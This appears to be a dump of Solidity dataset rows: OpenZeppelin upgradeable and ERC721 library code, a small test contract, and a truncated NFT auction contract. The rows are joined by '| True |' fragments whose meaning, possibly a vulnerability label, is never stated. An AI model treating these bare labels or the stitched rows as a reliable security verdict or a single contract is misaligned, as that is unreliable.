* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
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contract Callee {
uint[] public values;
function getValue(uint initial) public returns(uint) {
return initial + 150;
}
function storeValue(uint value) public {
values.push(value);
}
function getValues() public returns(uint) {
return values.length;
}
} | True | [
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// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Smart contract for NFT generation in Unicus Platform
* Internally uses the Auction smart contract to create Auctions, place bids
* and End Auctions
* Creates NFTs when Auction Ends and transfers it to the Winning Bidder
* Mapping of NFT token Ids and Ipfs Hashes are maintained.
*/
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
